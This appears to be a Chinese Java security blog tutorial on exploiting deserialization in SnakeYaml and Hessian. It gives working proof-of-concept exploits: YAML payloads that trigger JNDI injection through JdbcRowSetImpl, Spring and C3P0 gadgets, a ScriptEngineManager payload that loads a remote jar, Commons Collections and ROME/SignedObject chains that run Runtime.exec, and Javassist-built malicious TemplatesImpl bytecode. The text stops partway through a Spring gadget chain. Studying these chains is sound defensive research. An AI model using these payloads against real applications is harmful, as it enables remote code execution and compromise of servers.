Java安全之SnakeYaml反序列化

简介

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

测试环境

java version “1.8.0_71”

pom.xml

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

示例

https://juejin.cn/post/7132724053088927758

随手写一个简单的JavaBean类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Person {
public String telNumber;
protected int age;
private String name;

public Person() {
}

public Person(String name, int age, String telNumber) {
this.name = name;
this.age = age;
this.telNumber = telNumber;
}

public String getName() {
System.out.println("getName() private");
return name;
}

public void setName(String name) {
System.out.println("setName() private");
this.name = name;
}

public int getAge() {
System.out.println("getAge() protected");
return age;
}

public void setAge(int age) {
System.out.println("setAge() protected ");
this.age = age;
}

public String getTelNumber() {
System.out.println("getTelNumber public ");
return telNumber;
}

public void setTelNumber(String telNumber) {
System.out.println("setTelNumber public");
this.telNumber = telNumber;
}
}

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():将yaml转换成java对象
  • Yaml.dump():将一个对象转化为yaml;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
public static void main(String[] args) {
Person person = new Person("ph0ebus",99,"11451419198");

Yaml yaml = new Yaml();
// 序列化
String dump = yaml.dump(person);
System.out.println(dump);

// 反序列化
Object load = yaml.load(dump);
System.out.println(load);
}
}

//运行结果:
//getAge() protected
//getName() private
//!!Person {age: 99, name: ph0ebus, telNumber: '11451419198'}
//setAge() protected
//setName() private
//Person@1975e01

可以发现当不存在某个属性,或者存在属性但不是由public修饰的时候,序列化会调用其getter方法,反序列化时会调用其setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

利用原理

到这里就会发现和fastjson似乎有异曲同工之妙了,这里会调用setter方法导致安全隐患,于是fastjson的蛮多链子也可以套用起来

利用链

JdbcRowSetImpl利用链

这里和fastjson的触发一致,都是触发setAutoCommit()方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName可控

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplTest {
public static void main(String[] args) {
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanTest {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

这里利用setBeanFactory()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void setBeanFactory(BeanFactory beanFactory) {
this.beanFactory = beanFactory;
if (this.targetBeanWrapper != null && this.targetBeanName != null) {
throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
} else {
if (this.targetBeanWrapper == null && this.targetBeanName == null) {
if (this.propertyPath != null) {
throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
}

int dotIndex = this.beanName.indexOf(46);
if (dotIndex == -1) {
throw new IllegalArgumentException("Neither 'targetObject' nor 'targetBeanName' specified, and PropertyPathFactoryBean bean name '" + this.beanName + "' does not follow 'beanName.property' syntax");
}

this.targetBeanName = this.beanName.substring(0, dotIndex);
this.propertyPath = this.beanName.substring(dotIndex + 1);
} else if (this.propertyPath == null) {
throw new IllegalArgumentException("'propertyPath' is required");
}

if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {
Object bean = this.beanFactory.getBean(this.targetBeanName);
this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
}
}
}

这里可以调用到任意类的getBean()方法,然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入

1
2
3
4
5
6
7
8
9
10
11
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
try {
return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
} catch (NameNotFoundException var4) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (TypeMismatchNamingException var5) {
throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
} catch (NamingException var6) {
throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
}
}

这里需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)返回值为false

1
2
3
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
return this.shareableResources.contains(name);
}

this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可

C3P0利用链

在C3P0利用链中提到了基于fastjson进行JNDI注入和反序列化利用

同理也可以套用在snakeyaml链上

JNDI注入

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class C3P0JndiTest {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://127.0.0.1:1099/aa\", loginTimeout: \"0\"}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.yaml.snakeyaml.Yaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;


public class C3P0UnserTest {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),};
Transformer transformerChain = new ChainedTransformer(faketransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");

setFieldValue(transformerChain, "iTransformers", transformers);

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

byte[] bytes = barr.toByteArray();
String hex = bytesToHexString(bytes, bytes.length);
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
Yaml yaml = new Yaml();
yaml.load(poc);
}

public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for (int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

ScriptEngineManager利用链

该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/

那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager,它的底层就利用了SPI机制

https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class ScriptEngineManagerTest {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

具体执行细节可以参考https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90


参考链接:

Java安全之SnakeYaml反序列化分析 | nice_0e3

SnakeYAML反序列化及可利用Gadget | Y4tacker

Java安全之yaml反序列化 | jiang

Java安全之Hessian反序列化

简介

https://juejin.cn/post/6991473304011800590

Hessian是一个基于HTTP协议采用二进制格式传输的RPC服务框架,相对传统的SOAP web service,更轻捷。Hessian是Apache Dubbo在Java语言的实现,该框架还提供了Golang、Rust、Node.js 等多语言实现。Hessian 是一种动态类型、二进制序列化和 Web 服务协议,专为面向对象的传输而设计。

JDK自带的序列化方式,使用起来非常方便,只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流,另外继承的元数据也会序列化,所以导致序列化的元素较多且字节流很大,但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次,由于这种方式是JDK自带,无法被多个语言通用。

和JDK自带的序列化方式类似,Hessian采用的也是二进制协议,只不过Hessian序列化之后,字节数更小,性能更优。目前Hessian已经出到2.0版本,相较于1.0的Hessian性能更优。相较于JDK自带的序列化,Hessian的设计目标更明确。

Hessian 协议具有以下设计目标:

  • 它必须自我描述序列化类型,即不需要外部架构或接口定义。
  • 它必须与语言无关,包括支持脚本语言。
  • 它必须在一次传递中可读或可写。
  • 它必须尽可能紧凑。
  • 它必须简单,以便可以有效地测试和实施。
  • 它必须尽可能快。
  • 它必须支持 Unicode 字符串。
  • 它必须支持 8 位二进制数据,而无需转义或使用附件。
  • 它必须支持加密、压缩、签名和事务上下文信封( transaction context envelopes )。

测试环境

java version “1.8.0_71”

pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

示例

先写一个简单的 JavaBean 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Person implements Serializable {
private String name;
private int age;
private String telNumber;

public Person() { }

public Person(String name, int age, String telNumber) {
this.name = name;
this.age = age;
this.telNumber = telNumber;
}

public String getName() { return name; }

public void setName(String name) { this.name = name; }

public int getAge() { return age; }

public void setAge(int age) { this.age = age; }

public String getTelNumber() { return telNumber; }

public void setTelNumber(String telNumber) { this.telNumber = telNumber; }
}

然后用Hessian序列化反序列化一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class HessianTest {
public static void main(String[] args) throws IOException {
Person person = new Person("ph0ebus",1,"12345678901");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
System.out.println(hessianInput.readObject());
}
}

可以发现和原生jdk序列化反序列化的使用方法很类似

利用原理

Java 的Map对象在进行 Hessian 反序列化过程中,会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象,其中会调用HashMap#put(),这里就存在这安全隐患。

跟进HessianInput#readObject()

1
2
3
4
5
6
7
8
9
10
11
12
public Object readObject() throws IOException {
int tag = this.read();
String type;
int data;
switch (tag) {
// ...
case 77:
type = this.readType();
return this._serializerFactory.readMap(this, type);
// ...
}
}

可以看到它会读取字节流的第一个字节作为判断依据,查阅文档可以发现字符M代表着类型HashMap

从而调用readMap()方法

1
2
3
4
5
6
7
8
9
10
11
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}

这里需要进到最后一个else语句,调用MapDeserializer#readMap()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}

in.addRef(map);

while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}

in.readEnd();
return map;
}

可以看到能够调用HashMap#put()

利用链

ROME 之 JdbcRowSetImpl 链

调用 HashMap#put() 会将 Map 中的 key 与 value 传入,这将会触发 key 的hashCode()方法,这个在URLDNS链有分析,接着就可以触发ROME链调用任意类getter方法,这里是JdbcRowSetImpl#getDatabaseMetaData()

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplTest {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/aa";
jdbcRowSet.setDataSourceName(url);

ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean, "");
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}

public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}

RMI服务端的代码不再赘述

既然ROME链可以用,那ROME链的TemplatesImpl利用链能否利用呢?

尽管调用链看上去是毫无破绽的,但这里需要注意Hessian序列化的特性,它不会序列化transient关键字修饰的属性

1
private transient TransformerFactoryImpl _tfactory = null;

而 TemplatesImpl 利用链的关键属性 _tfactory 被该关键词修饰,导致反序列化后对象的_tfactory属性值为null,因为TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap()
如果是null会出错,因此无法直接利用此链

But,如果不用Hessian反序列化呢?那不就可以利用咯!这就得用到二次反序列化大法了,这里先简单介绍一种,后边再来总结。

ROME+SignObject二次反序列化

java.security.SignedObject类有一个令人满意的getter方法getObject()

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

content通过构造方法可控,这里就可以调用任意字节流的原生反序列化,并返回反序列化后的对象,接下来就是ROME反序列化链了,这里以BadAttributeValueExpException触发ToStringBean#toString()为例

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","ph0ebus");
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_class",null);

ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",bean);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

// 下面是常规构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

HashMap map = new HashMap();
map.put(objectBean2, "");

setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}

这条调用链还可以缩短一手

注意ToStringBean#toString()这个方法,我们前面只利用了可以调用任意类getter方法这个点,但调用getter方法后返回的对象还调用了printProperty()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}

return sb.toString();
}

跟进一手printProperty()方法,发现经过对象类型判断后可以调用到该对象的toString()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void printProperty(StringBuffer sb, String prefix, Object value) {
if (value == null) {
sb.append(prefix).append("=null\n");
} else if (value.getClass().isArray()) {
this.printArrayProperty(sb, prefix, value);
} else {
Iterator i;
String cPrefix;
Object cValue;
String[] tsInfo;
Stack stack;
String s;
if (value instanceof Map) {
// ...
} else if (value instanceof Collection) {
// ...
} else {
String[] tsInfo = new String[]{prefix, null};
Stack stack = (Stack)PREFIX_TL.get();
stack.push(tsInfo);
String s = value.toString();
stack.pop();
if (tsInfo[1] == null) {
sb.append(prefix).append("=").append(s).append("\n");
} else {
sb.append(s);
}
}
}

}

结合SignObject#getObject(),我们就可以调用满足条件的可控对象的toString()方法,恰好ToStringBean类可以通过上面的类型判断,于是链子就出来了

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignObjectTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "whatever");
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{code});

ToStringBean toStringBean = new ToStringBean(Templates.class, obj);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(toStringBean, privateKey, signingEngine);

// 下面是常规构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

HashMap map = new HashMap();
map.put(objectBean2, "");

setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}
}

SpringPartiallyComparableAdvisorHolder链

前面都是利用HashMap#put()方法调用到hashCode()方法进行利用,这里换一个攻击面,put()方法会调用putVal()方法,而putVal方法可以调用任意类的equals方法,从而引发安全漏洞,具体前面ROME反序列化的XString链有所介绍

依赖于springframework

首先要调用到equals方法需要两对数据的key的hashcode相等,且key不同才能进行比较操作,之前是利用HashMap构造,现在有了springframework我们换一个类构造,这个类就是org.springframework.aop.target.HotSwappableTargetSource

跟进HotSwappableTargetSource#hashCode()

1
2
3
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}

可以发现其hashCode值与key无关,于是调用HotSwappableTargetSource#equals()

1
2
3
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

这里this.target是构造方法传入的可控对象,也就是可以调用任意类的equals方法,那么就可以使用XString链调用任意类的toString()方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

分析到这里,我们回到了一个经典问题,如何通过调用任意类的toString方法进行恶意利用?

这里通过springframework的类构造一条链子出来,最终实现 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)

跟进org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public String toString() {
StringBuilder sb = new StringBuilder();
Advice advice = this.advisor.getAdvice();
sb.append(ClassUtils.getShortName(advice.getClass()));
sb.append(": ");
if (this.advisor instanceof Ordered) {
sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
}

if (advice instanceof AbstractAspectJAdvice) {
AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice;
sb.append(ajAdvice.getAspectName());
sb.append(", declaration order ");
sb.append(ajAdvice.getDeclarationOrder());
}

return sb.toString();
}

继续跟进AspectJPointcutAdvisor#getOrder()

1
2
3
public int getOrder() {
return this.order != null ? this.order : this.advice.getOrder();
}

